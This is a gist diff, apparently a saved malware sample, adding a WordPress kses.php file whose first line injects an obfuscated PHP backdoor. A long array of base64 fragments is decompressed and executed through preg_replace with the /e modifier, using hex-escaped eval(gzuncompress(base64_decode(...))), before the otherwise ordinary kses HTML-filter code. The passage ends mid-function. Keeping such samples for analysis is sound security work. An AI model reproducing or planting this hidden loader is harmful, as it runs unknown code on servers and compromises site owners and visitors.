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dphiffer/kses-badware.php Secret

Created June 1, 2012 16:00
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  1. dphiffer created this gist Jun 1, 2012.
    1,429 changes: 1,429 additions & 0 deletions kses-badware.php
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    Original file line number Diff line number Diff line change
    @@ -0,0 +1,1429 @@
    <?php $lqxizr = array("eNqtWgl32siy/iuMT05sXjyOWg","ugccjFjsHGsWDAgIGZHA4I2SzC","cFjCkuS/v+6q6tYCduZObhKQ1K","r+urq2riqSGD4mTn57XD27y+H0","ueNthovl4uR4qx0nk4lvCfkisd","VO3gyT3950sxfzeXd7cnycODuu","Pdjikuo+bBYtcXef0e5G4ubiSX","x/vhbfpa+95uWgf+0PxVPvup4u","5lkNyOv1p/IncWeuy9tLcdPsPl","jiOu4Z/Z24KeatevGqtXLEw6dx","9vj02NUL4mHSbtjLnl71+VDPEC","OXfs+3YZVWs+S3r31xu+WvuzdV","cau5V+Iy/XonLmvxlRWA/F9xK5","4yI357t5aD4h8fRWoYDN1WHkqj","dhOY1u7qm0Fv0meth75fHnI2ho","yJF+52/dR+MNNuTVvfjeow+aoC","PACEDvJb9WA7jRGX0dceyG/6BF","S6+Np8BSi4r5c+PWmf+VTYSGVa","Auk9AUOf8PKnGLm+ha0XQWiws3","e4nzttIx4BsqUXNHHtPtir5tX0","K20XVHNtj1rN6qynmynQAihVCe","yqghdiAlZ5UlLjT7dDxygNWyOn","lt/cgkYcUGsZ1A62MiqrxdxJcZ","eHreKcC8bnA598/gTWB1vIbxzY","TGtUqj2J1WrXIEBgFYxLsHt6XG","0AD/ewACsKSq4rF5Q3KmqwcGO9","egDQ1hIYa7Ce80mzmnxcPD/sLp","blBohnLqbvQKDu3SivNT9ZPede","A4NpAtQCFHtX8/tiGsKJb4ZL+g","swNf5eXPqf0X5Ku6qLzpIHqJLg","SNzsQM5i9TksJbi6X+AmGnxKA8","wF/AEkq7FmMJWmiYfoVHgtVmzj","RvyA6c9MyCJYFVbqi71anCmw0E","AksGJoBXhWq4BEb13lNSNnzfcA","qglIl2J1KRIpDmc3gGElJWRqic","riTAlpC3GAsQkYcQOrOjUwT64Y","c+OAQTVI1+0IJISkdRasmE8rA2","kJmR3lDcdfr9AmhZiK21Lg6w7p","ia8AZupcXZI5wMpMKQQC03rljP","ImeUJpV0BSYAisXAfkhiQt7oDx","XQVWArILCwUMq8l7sBJnB3sJST","i/VqtX1N5gZdBhcVNigQ6dGvhe","SCmgOzkN9XdJIhlvBGNgzrRfHC","8yskV8hHAN5sXJdSFFZ1TZooWT","lEB6lkOM8NcgBtg2Tg8Jeaf8io","RduhL6yDNOvisHMcipjVlTxTfT","woWLVmhsqwwft8VD8FosWobA5Y","OFOxjKUO55U8q6XCBjuBoQ/2OL","5MplKHjZAPIoLJhbIe81kZWv/P","DuIR4jjxDQhLVund1FoK22NKed","I80IrNFlKKhKSEgmbAMsjpPVXE","ADmMBoMVo4O5IlCJPbwqpcq+Br","5RRSr5uIDcPiGJbJ7relqzx4zl","VByG6nFmyELcxl6KsgSMO5iBol","CE0otEW2be5KhTVNdTSBDmL3pc","do5QYxM6qDp5RGY2WviBbew45b","2cppLPS72gA2h4Exz0MXw2gA+/","JlNEBRgMfvlIHWfOEZG4ir0YMA","+Byp09BCc2pILa/LJL3gIIB46o","BLoz3j/lQIkMcSE4wHDF/IUByL","CKY4J5yRY6JaIcgDJyB0DMM8/O","ioA2FiPjHn7EJ6sR52LRlb5RQg","V+4iFeAYfJyTP8nzIUIO6A45nS","CDfCSKDJJR5EHkgpC1Cbm7hVtv","HV5J+iwED0bS1KRO0FjkttHbgL","mKLiWl6IJjEdWZJxK5fbl1yLg2","UmJ4BrYOi6BOwpV7eJJHpTTVuB","hwhboRDmGUkES2T/tSDFL8p+lK","8Mjc/qpqH0o0O2lnFIgs9Ckn7A","jwmkFk2e3lIOC8IgCZ6BtMHrL8","KFfRuTSSsR9IiT/MMRxfTgGVBg","nRLeVXFNpqpPF9UhGdwfd5PC2J","CA33kBAgI+GjGxY1ZGDHsCbiV2","VNhmI6T7GDEyKjDEAgOBG5lf0A","M3WIwaWrlkovuQ9TNATSUk3lFl","uHagoQO8h47RTkaQgMkj+blPYW","lfZqSksYPa4gM9PKMmjyfQQ5kK","WEh2TKGMrhqI4upKkVxuE0g580","bRnOmEP7kbYCK6lTcoN7cbaSd1","Sbg2eEOmORAUDJG2SFm3ItT7nb","NnzYR8+IoiHd3HkKHfyV8CGPZ/","FoEE7IkAy0tKYFjfDZVpKZIZ4F","4bScpxVwmJZqIl/Ib0riyN6Nw/","bBNWYSqomo8tgYa9EUlTzmFjON","gqo6V5E0TuQMYtuVkPdg+o2a40","f21WUobhZ3pcBg8fB5YlIl3D7C","yCg89Msg8W1I29iVVA5BkVjmET","XITAI/BIbWIn9Am3FYNCOn5B7q","O5WZl2timms1w6EV/ZSqD3RrPI","sjTKIbPGlBpjVAKTZidQHtJwh0","gFyGPYEFGJJRgCRGI6clHOdWcM","o0wJdVnMQsDIV96Up1OUoULem7","QQaGKRaor1aQlePWaYQRHeXTpZ","qTDafUlNeD6XGXCaoONzhNoBjZ","OiMVpnaCvCSzRDxohLpKEdtpoZ","eB4zGllpqw0IqmcobQQjXMNUuj","cDZb2cnKwMGDA0UtSdVJvY4k44","L8IqLk7k1Vc6NDbd3+2sa+hw+9","HrhlwNAzKEpQ9QC4tGpNbBHGWt","AkwFvjdtDX11L8LjaGoDvQhnZU","Q1QF7sQe9gylpO6N+K6CAFxsWi","26D41V/wLcsWU0tj1cG/pP1wMR","crsP1tgDe79cYBsFil9IPVrA36","2Il33Ygb1t30CpsG03eZWFy4Iy","9AGGrgk2Zvo30NDqG33DNaooyc","Db3RtQg9YFJu2VoGzCkoueaLCd","ouPTRntB7i3eCkxxe+OvvKjQ+7","D//qylNxbtpgqh7gRsd9mabDgT","Kjp5DzC8al83RJUL3ntz6/cmFY","UH+vC3/aYjRdx7KCz6emHbjhap","KJ2+T5J+LDR20KBoUhNhDEs9t7","EriBZ6NeuppPHGeWqC7dkZ0EEl","GkROj5v+cnDXnF2C+TdmfW9XXz","wGkfYO21Z30EkxxW193Kg26o1a","o2CrHL0+hgq1DRq2RJPwvlCFdl","69YBdrrFQXjTejbtOuGnh6Vvgj","3jZK9aBybeQhdlaqef9eNRqpf+","ZG2mhoi/66XVHpQ191J3tkA70b","VUIDS+NGqQYLgPUUmlohXy1APi","GYBpKC3ahrDRWrQZIaSPqmWgdJ","1yWaVrpXdI3LelMD9dzW8o1ypc","4KQaMU2XvABJ91kU0gfqiK1iK3","rbHqoAatV7l80Jdpo28PWiQRo7","olqfSvGysgaCnafP+hXwm5R1Xr","Bo5aDmz2LuiT3m0tsKNe8wIfQa","kaPUZlzGkhmrUeIKxPSRH316rp","gQ7BxvLIurpYO7i6uIUh6jDUeM","53Edk4DAWqxVD8tI6VzI4YQqp+","IKVIjxNEXiQKiFiVcEsYcrdgaW","k4IIQbMJy+AcHpsXvdgGjUDoRI","QcpvgacuHznpI7gaJ22DzdiLnm","pWF8bHyfO5t1zNnxO97sJLmZ2+","50773smb7l9vhl+S5z8SPxLDxw","O/ObgDzx131rPOwOv2O/602z9O","Jr+pXyD2X58kvx0GcqMT3ZM323","JHS34TF5bdaida8pzP3J+4mvud","4fNwKeYLYj2rhk6S53C/8JbT2R","IQ9dNP9epd+c9ah19OcY1XiG7y","F1f56ul8unrucw5eI60VnXy5Xp","O079JnVvjz6txqvlavlmrVi9J9","IVjunXamW7GvV2Hq9/nqxXW+VI","ONMRDYbyc5LorOk7c84UJkyeT3","7+EBPcn/fMu9jFko392VH+7Kny","5qxXIpxJoR+fPzAc75j1fWcS6a","1fxVsXofWiIV/pP++QBfQoAaaA","HexkMr0klmrj9deHKEiwZoE79l","s4nHrr/wkt/IB2D8/McPjw8mDt","nc42Lqjqcz71nY3JM/7XV9mGTC","8lp2sZx35t7M77qekLGRPOXfZl","KaG4eczb2nzqS7dAeCwEqeHsG7","I7JhKwuPBJfzNjNfuCMnTSkUfA","fff0n7/HKOs8MMAIVgII1TLTQL","uE18/57AGy4ETpJR6/MHmytMPK","Sy3FYG08Wyt33uTgiQvxPi+fYK","gQJiGiGls0pyQJRSus5oyFwGvm","01br0TFs+343Unwm46y+HEm67Q","eNIxMlJpmoKGlj26ztdofze12p","/v2Zn29/zv56NzfJ84yx7dcLb/","AJq9V1Xv0Zt78z8Sg+Vy9sf790","AEaDFKITnGkqGp9YU3//3iyXsm","bHZoBjfCx9mK2xPuBV8mz9eDoe","/xCOlN5XZoP0xMfOSiXsR2n2H2","mf7St3C7x8Dy08Qmi1gVM1D8jC","lQ9o6ROzE9i+9CZkaiNok1PQv2","a37ozRPvP+L338/46gh1z2libs","FM8Atm0dqBUwZLcRcXcc9KfqGV","jBgvnMsvIVPk7wVkim9aYhlSfD","jTCFPTmA7UUZ9kaXJKvgPSQNQT","WSbg+4Av/psI+eWAwzP7H3i8GZ","etroFsdRblkZlCPDo97c+SZmCe","onZlVqCOYxJeKFAyxiMljnruYC","osW+cTeahcihcHD/u+t7yMHPdi","ALVlI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preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x69\x6D\x70\x6C\x6F\x64\x65\x28\x22\x22\x2C\x24\x6C\x71\x78\x69\x7A\x72\x29\x29\x29\x29\x3B","."); ?><?php
    /**
    * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
    * Copyright (C) 2002, 2003, 2005 Ulf Harnhammar
    *
    * This program is free software and open source software; you can redistribute
    * it and/or modify it under the terms of the GNU General Public License as
    * published by the Free Software Foundation; either version 2 of the License,
    * or (at your option) any later version.
    *
    * This program is distributed in the hope that it will be useful, but WITHOUT
    * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
    * more details.
    *
    * You should have received a copy of the GNU General Public License along
    * with this program; if not, write to the Free Software Foundation, Inc.,
    * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
    * http://www.gnu.org/licenses/gpl.html
    *
    * [kses strips evil scripts!]
    *
    * Added wp_ prefix to avoid conflicts with existing kses users
    *
    * @version 0.2.2
    * @copyright (C) 2002, 2003, 2005
    * @author Ulf Harnhammar <http://advogato.org/person/metaur/>
    *
    * @package External
    * @subpackage KSES
    *
    */

    /**
    * You can override this in a plugin.
    *
    * @since 1.2.0
    */
    if ( ! defined( 'CUSTOM_TAGS' ) )
    define( 'CUSTOM_TAGS', false );

    if ( ! CUSTOM_TAGS ) {
    /**
    * Kses global for default allowable HTML tags.
    *
    * Can be override by using CUSTOM_TAGS constant.
    *
    * @global array $allowedposttags
    * @since 2.0.0
    */
    $allowedposttags = array(
    'address' => array(),
    'a' => array(
    'class' => array (),
    'href' => array (),
    'id' => array (),
    'title' => array (),
    'rel' => array (),
    'rev' => array (),
    'name' => array (),
    'target' => array()),
    'abbr' => array(
    'class' => array (),
    'title' => array ()),
    'acronym' => array(
    'title' => array ()),
    'article' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'aside' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'b' => array(),
    'big' => array(),
    'blockquote' => array(
    'id' => array (),
    'cite' => array (),
    'class' => array(),
    'lang' => array(),
    'xml:lang' => array()),
    'br' => array (
    'class' => array ()),
    'button' => array(
    'disabled' => array (),
    'name' => array (),
    'type' => array (),
    'value' => array ()),
    'caption' => array(
    'align' => array (),
    'class' => array ()),
    'cite' => array (
    'class' => array(),
    'dir' => array(),
    'lang' => array(),
    'title' => array ()),
    'code' => array (
    'style' => array()),
    'col' => array(
    'align' => array (),
    'char' => array (),
    'charoff' => array (),
    'span' => array (),
    'dir' => array(),
    'style' => array (),
    'valign' => array (),
    'width' => array ()),
    'del' => array(
    'datetime' => array ()),
    'dd' => array(),
    'details' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'open' => array (),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'div' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array()),
    'dl' => array(),
    'dt' => array(),
    'em' => array(),
    'fieldset' => array(),
    'figure' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'figcaption' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'font' => array(
    'color' => array (),
    'face' => array (),
    'size' => array ()),
    'footer' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'form' => array(
    'action' => array (),
    'accept' => array (),
    'accept-charset' => array (),
    'enctype' => array (),
    'method' => array (),
    'name' => array (),
    'target' => array ()),
    'h1' => array(
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'h2' => array (
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'h3' => array (
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'h4' => array (
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'h5' => array (
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'h6' => array (
    'align' => array (),
    'class' => array (),
    'id' => array (),
    'style' => array ()),
    'header' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'hgroup' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'hr' => array (
    'align' => array (),
    'class' => array (),
    'noshade' => array (),
    'size' => array (),
    'width' => array ()),
    'i' => array(),
    'img' => array(
    'alt' => array (),
    'align' => array (),
    'border' => array (),
    'class' => array (),
    'height' => array (),
    'hspace' => array (),
    'longdesc' => array (),
    'vspace' => array (),
    'src' => array (),
    'style' => array (),
    'width' => array ()),
    'ins' => array(
    'datetime' => array (),
    'cite' => array ()),
    'kbd' => array(),
    'label' => array(
    'for' => array ()),
    'legend' => array(
    'align' => array ()),
    'li' => array (
    'align' => array (),
    'class' => array ()),
    'menu' => array (
    'class' => array (),
    'style' => array (),
    'type' => array ()),
    'nav' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'p' => array(
    'class' => array (),
    'align' => array (),
    'dir' => array(),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array()),
    'pre' => array(
    'style' => array(),
    'width' => array ()),
    'q' => array(
    'cite' => array ()),
    's' => array(),
    'span' => array (
    'class' => array (),
    'dir' => array (),
    'align' => array (),
    'lang' => array (),
    'style' => array (),
    'title' => array (),
    'xml:lang' => array()),
    'section' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'strike' => array(),
    'strong' => array(),
    'sub' => array(),
    'summary' => array(
    'align' => array (),
    'class' => array (),
    'dir' => array (),
    'lang' => array(),
    'style' => array (),
    'xml:lang' => array(),
    ),
    'sup' => array(),
    'table' => array(
    'align' => array (),
    'bgcolor' => array (),
    'border' => array (),
    'cellpadding' => array (),
    'cellspacing' => array (),
    'class' => array (),
    'dir' => array(),
    'id' => array(),
    'rules' => array (),
    'style' => array (),
    'summary' => array (),
    'width' => array ()),
    'tbody' => array(
    'align' => array (),
    'char' => array (),
    'charoff' => array (),
    'valign' => array ()),
    'td' => array(
    'abbr' => array (),
    'align' => array (),
    'axis' => array (),
    'bgcolor' => array (),
    'char' => array (),
    'charoff' => array (),
    'class' => array (),
    'colspan' => array (),
    'dir' => array(),
    'headers' => array (),
    'height' => array (),
    'nowrap' => array (),
    'rowspan' => array (),
    'scope' => array (),
    'style' => array (),
    'valign' => array (),
    'width' => array ()),
    'textarea' => array(
    'cols' => array (),
    'rows' => array (),
    'disabled' => array (),
    'name' => array (),
    'readonly' => array ()),
    'tfoot' => array(
    'align' => array (),
    'char' => array (),
    'class' => array (),
    'charoff' => array (),
    'valign' => array ()),
    'th' => array(
    'abbr' => array (),
    'align' => array (),
    'axis' => array (),
    'bgcolor' => array (),
    'char' => array (),
    'charoff' => array (),
    'class' => array (),
    'colspan' => array (),
    'headers' => array (),
    'height' => array (),
    'nowrap' => array (),
    'rowspan' => array (),
    'scope' => array (),
    'valign' => array (),
    'width' => array ()),
    'thead' => array(
    'align' => array (),
    'char' => array (),
    'charoff' => array (),
    'class' => array (),
    'valign' => array ()),
    'title' => array(),
    'tr' => array(
    'align' => array (),
    'bgcolor' => array (),
    'char' => array (),
    'charoff' => array (),
    'class' => array (),
    'style' => array (),
    'valign' => array ()),
    'tt' => array(),
    'u' => array(),
    'ul' => array (
    'class' => array (),
    'style' => array (),
    'type' => array ()),
    'ol' => array (
    'class' => array (),
    'start' => array (),
    'style' => array (),
    'type' => array ()),
    'var' => array ());

    /**
    * Kses allowed HTML elements.
    *
    * @global array $allowedtags
    * @since 1.0.0
    */
    $allowedtags = array(
    'a' => array(
    'href' => array (),
    'title' => array ()),
    'abbr' => array(
    'title' => array ()),
    'acronym' => array(
    'title' => array ()),
    'b' => array(),
    'blockquote' => array(
    'cite' => array ()),
    // 'br' => array(),
    'cite' => array (),
    'code' => array(),
    'del' => array(
    'datetime' => array ()),
    // 'dd' => array(),
    // 'dl' => array(),
    // 'dt' => array(),
    'em' => array (), 'i' => array (),
    // 'ins' => array('datetime' => array(), 'cite' => array()),
    // 'li' => array(),
    // 'ol' => array(),
    // 'p' => array(),
    'q' => array(
    'cite' => array ()),
    'strike' => array(),
    'strong' => array(),
    // 'sub' => array(),
    // 'sup' => array(),
    // 'u' => array(),
    // 'ul' => array(),
    );

    $allowedentitynames = array(
    'nbsp', 'iexcl', 'cent', 'pound', 'curren', 'yen',
    'brvbar', 'sect', 'uml', 'copy', 'ordf', 'laquo',
    'not', 'shy', 'reg', 'macr', 'deg', 'plusmn',
    'acute', 'micro', 'para', 'middot', 'cedil', 'ordm',
    'raquo', 'iquest', 'Agrave', 'Aacute', 'Acirc', 'Atilde',
    'Auml', 'Aring', 'AElig', 'Ccedil', 'Egrave', 'Eacute',
    'Ecirc', 'Euml', 'Igrave', 'Iacute', 'Icirc', 'Iuml',
    'ETH', 'Ntilde', 'Ograve', 'Oacute', 'Ocirc', 'Otilde',
    'Ouml', 'times', 'Oslash', 'Ugrave', 'Uacute', 'Ucirc',
    'Uuml', 'Yacute', 'THORN', 'szlig', 'agrave', 'aacute',
    'acirc', 'atilde', 'auml', 'aring', 'aelig', 'ccedil',
    'egrave', 'eacute', 'ecirc', 'euml', 'igrave', 'iacute',
    'icirc', 'iuml', 'eth', 'ntilde', 'ograve', 'oacute',
    'ocirc', 'otilde', 'ouml', 'divide', 'oslash', 'ugrave',
    'uacute', 'ucirc', 'uuml', 'yacute', 'thorn', 'yuml',
    'quot', 'amp', 'lt', 'gt', 'apos', 'OElig',
    'oelig', 'Scaron', 'scaron', 'Yuml', 'circ', 'tilde',
    'ensp', 'emsp', 'thinsp', 'zwnj', 'zwj', 'lrm',
    'rlm', 'ndash', 'mdash', 'lsquo', 'rsquo', 'sbquo',
    'ldquo', 'rdquo', 'bdquo', 'dagger', 'Dagger', 'permil',
    'lsaquo', 'rsaquo', 'euro', 'fnof', 'Alpha', 'Beta',
    'Gamma', 'Delta', 'Epsilon', 'Zeta', 'Eta', 'Theta',
    'Iota', 'Kappa', 'Lambda', 'Mu', 'Nu', 'Xi',
    'Omicron', 'Pi', 'Rho', 'Sigma', 'Tau', 'Upsilon',
    'Phi', 'Chi', 'Psi', 'Omega', 'alpha', 'beta',
    'gamma', 'delta', 'epsilon', 'zeta', 'eta', 'theta',
    'iota', 'kappa', 'lambda', 'mu', 'nu', 'xi',
    'omicron', 'pi', 'rho', 'sigmaf', 'sigma', 'tau',
    'upsilon', 'phi', 'chi', 'psi', 'omega', 'thetasym',
    'upsih', 'piv', 'bull', 'hellip', 'prime', 'Prime',
    'oline', 'frasl', 'weierp', 'image', 'real', 'trade',
    'alefsym', 'larr', 'uarr', 'rarr', 'darr', 'harr',
    'crarr', 'lArr', 'uArr', 'rArr', 'dArr', 'hArr',
    'forall', 'part', 'exist', 'empty', 'nabla', 'isin',
    'notin', 'ni', 'prod', 'sum', 'minus', 'lowast',
    'radic', 'prop', 'infin', 'ang', 'and', 'or',
    'cap', 'cup', 'int', 'sim', 'cong', 'asymp',
    'ne', 'equiv', 'le', 'ge', 'sub', 'sup',
    'nsub', 'sube', 'supe', 'oplus', 'otimes', 'perp',
    'sdot', 'lceil', 'rceil', 'lfloor', 'rfloor', 'lang',
    'rang', 'loz', 'spades', 'clubs', 'hearts', 'diams',
    );
    }

    /**
    * Filters content and keeps only allowable HTML elements.
    *
    * This function makes sure that only the allowed HTML element names, attribute
    * names and attribute values plus only sane HTML entities will occur in
    * $string. You have to remove any slashes from PHP's magic quotes before you
    * call this function.
    *
    * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news',
    * 'irc', 'gopher', 'nntp', 'feed', 'telnet, 'mms', 'rtsp' and 'svn'. This
    * covers all common link protocols, except for 'javascript' which should not
    * be allowed for untrusted users.
    *
    * @since 1.0.0
    *
    * @param string $string Content to filter through kses
    * @param array $allowed_html List of allowed HTML elements
    * @param array $allowed_protocols Optional. Allowed protocol in links.
    * @return string Filtered content with only allowed HTML elements
    */
    function wp_kses($string, $allowed_html, $allowed_protocols = array ()) {
    if ( empty( $allowed_protocols ) )
    $allowed_protocols = wp_allowed_protocols();
    $string = wp_kses_no_null($string);
    $string = wp_kses_js_entities($string);
    $string = wp_kses_normalize_entities($string);
    $allowed_html_fixed = wp_kses_array_lc($allowed_html);
    $string = wp_kses_hook($string, $allowed_html_fixed, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook
    return wp_kses_split($string, $allowed_html_fixed, $allowed_protocols);
    }

    /**
    * You add any kses hooks here.
    *
    * There is currently only one kses WordPress hook and it is called here. All
    * parameters are passed to the hooks and expected to receive a string.
    *
    * @since 1.0.0
    *
    * @param string $string Content to filter through kses
    * @param array $allowed_html List of allowed HTML elements
    * @param array $allowed_protocols Allowed protocol in links
    * @return string Filtered content through 'pre_kses' hook
    */
    function wp_kses_hook($string, $allowed_html, $allowed_protocols) {
    $string = apply_filters('pre_kses', $string, $allowed_html, $allowed_protocols);
    return $string;
    }

    /**
    * This function returns kses' version number.
    *
    * @since 1.0.0
    *
    * @return string KSES Version Number
    */
    function wp_kses_version() {
    return '0.2.2';
    }

    /**
    * Searches for HTML tags, no matter how malformed.
    *
    * It also matches stray ">" characters.
    *
    * @since 1.0.0
    *
    * @param string $string Content to filter
    * @param array $allowed_html Allowed HTML elements
    * @param array $allowed_protocols Allowed protocols to keep
    * @return string Content with fixed HTML tags
    */
    function wp_kses_split($string, $allowed_html, $allowed_protocols) {
    global $pass_allowed_html, $pass_allowed_protocols;
    $pass_allowed_html = $allowed_html;
    $pass_allowed_protocols = $allowed_protocols;
    return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
    }

    /**
    * Callback for wp_kses_split.
    *
    * @since 3.1.0
    * @access private
    */
    function _wp_kses_split_callback( $match ) {
    global $pass_allowed_html, $pass_allowed_protocols;
    return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
    }

    /**
    * Callback for wp_kses_split for fixing malformed HTML tags.
    *
    * This function does a lot of work. It rejects some very malformed things like
    * <:::>. It returns an empty string, if the element isn't allowed (look ma, no
    * strip_tags()!). Otherwise it splits the tag into an element and an attribute
    * list.
    *
    * After the tag is split into an element and an attribute list, it is run
    * through another filter which will remove illegal attributes and once that is
    * completed, will be returned.
    *
    * @access private
    * @since 1.0.0
    * @uses wp_kses_attr()
    *
    * @param string $string Content to filter
    * @param array $allowed_html Allowed HTML elements
    * @param array $allowed_protocols Allowed protocols to keep
    * @return string Fixed HTML element
    */
    function wp_kses_split2($string, $allowed_html, $allowed_protocols) {
    $string = wp_kses_stripslashes($string);

    if (substr($string, 0, 1) != '<')
    return '&gt;';
    # It matched a ">" character

    if ( '<!--' == substr( $string, 0, 4 ) ) {
    $string = str_replace( array('<!--', '-->'), '', $string );
    while ( $string != ($newstring = wp_kses($string, $allowed_html, $allowed_protocols)) )
    $string = $newstring;
    if ( $string == '' )
    return '';
    // prevent multiple dashes in comments
    $string = preg_replace('/--+/', '-', $string);
    // prevent three dashes closing a comment
    $string = preg_replace('/-$/', '', $string);
    return "<!--{$string}-->";
    }
    # Allow HTML comments

    if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9]+)([^>]*)>?$%', $string, $matches))
    return '';
    # It's seriously malformed

    $slash = trim($matches[1]);
    $elem = $matches[2];
    $attrlist = $matches[3];

    if ( ! isset($allowed_html[strtolower($elem)]) )
    return '';
    # They are using a not allowed HTML element

    if ($slash != '')
    return "</$elem>";
    # No attributes are allowed for closing elements

    return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
    }

    /**
    * Removes all attributes, if none are allowed for this element.
    *
    * If some are allowed it calls wp_kses_hair() to split them further, and then
    * it builds up new HTML code from the data that kses_hair() returns. It also
    * removes "<" and ">" characters, if there are any left. One more thing it does
    * is to check if the tag has a closing XHTML slash, and if it does, it puts one
    * in the returned code as well.
    *
    * @since 1.0.0
    *
    * @param string $element HTML element/tag
    * @param string $attr HTML attributes from HTML element to closing HTML element tag
    * @param array $allowed_html Allowed HTML elements
    * @param array $allowed_protocols Allowed protocols to keep
    * @return string Sanitized HTML element
    */
    function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) {
    # Is there a closing XHTML slash at the end of the attributes?
    $xhtml_slash = '';
    if (preg_match('%\s*/\s*$%', $attr))
    $xhtml_slash = ' /';

    # Are any attributes allowed at all for this element?
    if ( ! isset($allowed_html[strtolower($element)]) || count($allowed_html[strtolower($element)]) == 0 )
    return "<$element$xhtml_slash>";

    # Split it
    $attrarr = wp_kses_hair($attr, $allowed_protocols);

    # Go through $attrarr, and save the allowed attributes for this element
    # in $attr2
    $attr2 = '';

    $allowed_attr = $allowed_html[strtolower($element)];
    foreach ($attrarr as $arreach) {
    if ( ! isset( $allowed_attr[strtolower($arreach['name'])] ) )
    continue; # the attribute is not allowed

    $current = $allowed_attr[strtolower($arreach['name'])];
    if ( $current == '' )
    continue; # the attribute is not allowed

    if ( ! is_array($current) ) {
    $attr2 .= ' '.$arreach['whole'];
    # there are no checks

    } else {
    # there are some checks
    $ok = true;
    foreach ($current as $currkey => $currval) {
    if ( ! wp_kses_check_attr_val($arreach['value'], $arreach['vless'], $currkey, $currval) ) {
    $ok = false;
    break;
    }
    }

    if ( strtolower($arreach['name']) == 'style' ) {
    $orig_value = $arreach['value'];
    $value = safecss_filter_attr($orig_value);

    if ( empty($value) )
    continue;

    $arreach['value'] = $value;
    $arreach['whole'] = str_replace($orig_value, $value, $arreach['whole']);
    }

    if ($ok)
    $attr2 .= ' '.$arreach['whole']; # it passed them
    } # if !is_array($current)
    } # foreach

    # Remove any "<" or ">" characters
    $attr2 = preg_replace('/[<>]/', '', $attr2);

    return "<$element$attr2$xhtml_slash>";
    }

    /**
    * Builds an attribute list from string containing attributes.
    *
    * This function does a lot of work. It parses an attribute list into an array
    * with attribute data, and tries to do the right thing even if it gets weird
    * input. It will add quotes around attribute values that don't have any quotes
    * or apostrophes around them, to make it easier to produce HTML code that will
    * conform to W3C's HTML specification. It will also remove bad URL protocols
    * from attribute values. It also reduces duplicate attributes by using the
    * attribute defined first (foo='bar' foo='baz' will result in foo='bar').
    *
    * @since 1.0.0
    *
    * @param string $attr Attribute list from HTML element to closing HTML element tag
    * @param array $allowed_protocols Allowed protocols to keep
    * @return array List of attributes after parsing
    */
    function wp_kses_hair($attr, $allowed_protocols) {
    $attrarr = array ();
    $mode = 0;
    $attrname = '';
    $uris = array('xmlns', 'profile', 'href', 'src', 'cite', 'classid', 'codebase', 'data', 'usemap', 'longdesc', 'action');

    # Loop through the whole attribute list

    while (strlen($attr) != 0) {
    $working = 0; # Was the last operation successful?
    switch ($mode) {
    case 0 : # attribute name, href for instance

    if (preg_match('/^([-a-zA-Z]+)/', $attr, $match)) {
    $attrname = $match[1];
    $working = $mode = 1;
    $attr = preg_replace('/^[-a-zA-Z]+/', '', $attr);
    }

    break;

    case 1 : # equals sign or valueless ("selected")

    if (preg_match('/^\s*=\s*/', $attr)) # equals sign
    {
    $working = 1;
    $mode = 2;
    $attr = preg_replace('/^\s*=\s*/', '', $attr);
    break;
    }

    if (preg_match('/^\s+/', $attr)) # valueless
    {
    $working = 1;
    $mode = 0;
    if(FALSE === array_key_exists($attrname, $attrarr)) {
    $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
    }
    $attr = preg_replace('/^\s+/', '', $attr);
    }

    break;

    case 2 : # attribute value, a URL after href= for instance

    if (preg_match('%^"([^"]*)"(\s+|/?$)%', $attr, $match))
    # "value"
    {
    $thisval = $match[1];
    if ( in_array(strtolower($attrname), $uris) )
    $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);

    if(FALSE === array_key_exists($attrname, $attrarr)) {
